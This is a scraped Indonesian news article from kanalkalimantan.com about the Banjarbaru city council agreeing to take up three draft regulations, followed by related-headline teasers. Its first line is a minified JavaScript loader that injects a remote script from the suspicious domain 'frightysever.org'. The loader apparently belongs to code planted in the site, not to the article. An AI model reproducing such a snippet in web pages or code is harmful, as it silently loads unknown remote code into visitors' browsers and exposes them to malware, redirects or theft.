(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memastikan menindaklanjuti usulan dua pembahasan Rancangan Peraturan Daerah (Rapeda) dari eksekutif.
Dua Raperda itu yakni Raperda tentang penyelenggaraan penanggulangan bencana,
Dan Raperda tentang perubahan atas Perda Banjarbaru Nomor 30 Tahun 2011 tentang retribusi izin trayek.
Sementara itu satu Raperda dari Usulan Inisiatif DPRD Kota Banjarbaru tentang fasilitasi pondok pesantren.
Baca juga : Ini Dua Raperda Penyampaian dari Eksekutif ke DPRD Banjarbaru
Ketua DPRD Kota Banjarbaru M Fadliansyah mengatakan, ketiga usulan Raperda tersebut akan ditindaklanjuti dengan penyampaian pandangan fraksi-fraksi melalui rapat paripurna yang akan digelar pada Selasa (9/11/2021) mendatang.
“Sesuai jadwal yang telah ditetapkan, akan disampaikan melalui pemandangan umum fraksi-fraksi terhadap tiga Raperda tersebut,” ujar Fadli –biasa disapa-. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More
KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
This website uses cookies.